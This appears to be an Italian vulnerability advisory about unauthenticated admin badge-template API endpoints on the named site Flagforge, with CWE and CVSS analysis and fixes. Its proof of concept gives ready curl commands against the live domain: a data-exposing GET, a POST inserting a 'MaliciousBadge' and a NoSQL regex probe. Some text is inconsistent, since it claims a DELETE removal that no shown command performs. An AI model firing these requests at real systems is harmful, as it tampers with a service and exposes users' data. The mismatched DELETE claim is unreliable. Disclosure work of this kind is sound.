Descrizione

Endpoint interessati

1. GET /api/admin/badge-templates:
   • Restituisce un array JSON di tutti i modelli di badge memorizzati nella raccolta MongoDB badgeTemplates.
   • I campi esposti includono _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt e __v.
   • Non sono richiesti header di autenticazione, chiavi API o controlli di sessione, rendendo l'endpoint pubblicamente accessibile.
   • Risposta di esempio (da cURL):

1. POST /api/admin/badge-templates/create:
   • Consente la creazione di nuovi modelli di badge con campi controllabili dall'utente: name, description, icon, color, isActive e createdBy.
   • Controlli di validazione minimi per la presenza di name, description e icon, e garantisce che non esista un name duplicato.
   • Nessun controllo di autenticazione o autorizzazione, consentendo a chiunque di inserire dati nel database.
   • Codice di esempio (dal sorgente fornito):
     root@kitploit:~

     const templateDoc = {
       name: name.trim(),
       description: description.trim(),
       icon: icon.trim(),
       color: color || '#8B5CF6',
       isActive: isActive !== undefined ? isActive : true,
       createdAt: new Date(),
       createdBy: createdBy || 'unknown'
     };
     const result = await db.collection('badgeTemplates').insertOne(templateDoc);
     

Debolezze

• CWE-200: Esposizione di informazioni sensibili a un attore non autorizzato (endpoint GET): Espone identificatori utente (ad esempio, Lagzen Thakuri, [email protected]) e metadati, consentendo ricognizione o phishing.
• CWE-306: Autenticazione mancante per funzione critica (entrambi gli endpoint): Nessun controllo di accesso sulle route amministrative.
• CWE-284: Controllo di accesso improprio (entrambi gli endpoint): Consente recupero e modifica non autorizzati dei dati.
• Potenziale iniezione NoSQL: Mentre l'endpoint POST destruttura esplicitamente i campi, l'endpoint GET potrebbe essere vulnerabile se supporta parametri di query (ad esempio, ?name[$ne]=test).
• Rischio di inquinamento dei log: L'endpoint POST registra name e createdBy controllabili dall'utente, che potrebbero essere abusati per spam nei log o iniezione.

Punteggio CVSS v3.1

• Punteggio base: 9.1 (Critico)
• Vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  • Vettore di attacco (AV): Rete (endpoint pubblicamente accessibili).
  • Complessità dell'attacco (AC): Bassa (nessuna condizione speciale richiesta).
  • Privilegi richiesti (PR): Nessuno (nessuna autenticazione necessaria).
  • Interazione utente (UI): Nessuna (richieste HTTP dirette).
  • Ambito (S): Invariato (interessa l'applicazione stessa).
  • Riservatezza (C): Alta (espone dati utente).
  • Integrità (I): Alta (consente creazione arbitraria di dati).
  • Disponibilità (A): Bassa (potenziale DoS tramite creazione massiva di modelli).

Sistemi interessati

• Applicazione: Flagforge (https://flagforge.xyz)
• Componenti:
  • Route API Next.js: /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST).
  • Database MongoDB: raccolta badgeTemplates.
• Hosting: Vercel (serverless, dedotto dall'header server: Vercel).
• Versioni: Sconosciute (presunto Next.js 13+ basato sulla sintassi NextRequest/NextResponse).
• Dipendenze: Driver MongoDB (tramite utility di connessione personalizzata @/utlis/db), Next.js.

Impatto

• Riservatezza: Esposizione di identificatori utente (createdBy) e metadati (createdAt, updatedAt), che potrebbero essere utilizzati per ingegneria sociale o attacchi mirati.
• Integrità: Creazione non autorizzata di modelli di badge, potenzialmente portando a spam, phishing o visualizzazione di contenuti dannosi nell'applicazione.
• Disponibilità: Potenziale denial-of-service (DoS) inondando l'endpoint POST con creazioni di modelli, consumando risorse del database.
• Sfruttabilità: Alta, poiché gli endpoint sono pubblicamente accessibili tramite semplici richieste HTTP (ad esempio, cURL, Postman) senza barriere di autenticazione.

Prova di concetto

1. Recupero dati sensibili (GET):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates
   

   • Restituisce un elenco JSON di tutti i modelli di badge, inclusi campi sensibili come createdBy (ad esempio, [email protected]).

2. Creazione di un modello non autorizzato (POST) e rimozione dei modelli (DELETE):

   root@kitploit:~

   curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
     -H "Content-Type: application/json" \
     -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
   

   • Crea un nuovo modello nella raccolta badgeTemplates.
   • Rimuove i modelli di badge.
   • Verificare rieseguendo la richiesta GET per confermare che il nuovo modello appaia.

3. Potenziale iniezione NoSQL (GET, se i parametri di query sono supportati):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
   

   • Testare se l'endpoint elabora operatori MongoDB, che potrebbero bypassare i filtri o esporre dati aggiuntivi.

Raccomandazioni

Correzioni immediate

1. Implementare l'autenticazione:
   • Aggiungere middleware per verificare l'identità dell'utente (ad esempio, JWT, NextAuth.js o chiavi API) per entrambi gli endpoint.
     root@kitploit:~

     // Esempio di middleware per l'endpoint POST
     export async function POST(request: NextRequest) {
       const authHeader = request.headers.get('authorization');
       if (!authHeader || !verifyToken(authHeader)) { // Implementare verifyToken
         return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
       }
       // ... codice esistente ...
     }
     

2. Limitare l'endpoint GET:
   • Limitare l'endpoint GET agli amministratori autenticati o restituire dati minimi (ad esempio, escludere createdBy).
   • Se i parametri di query sono supportati, sanificare gli input per prevenire l'iniezione NoSQL.

Riferimenti

• CWE-200: https://cwe.mitre.org/data/definitions/200.html
• CWE-306: https://cwe.mitre.org/data/definitions/306.html
• CWE-284: https://cwe.mitre.org/data/definitions/284.html
• OWASP API Security Top 10: https://owasp.org/www-project-api-security/
• Calcolatore CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator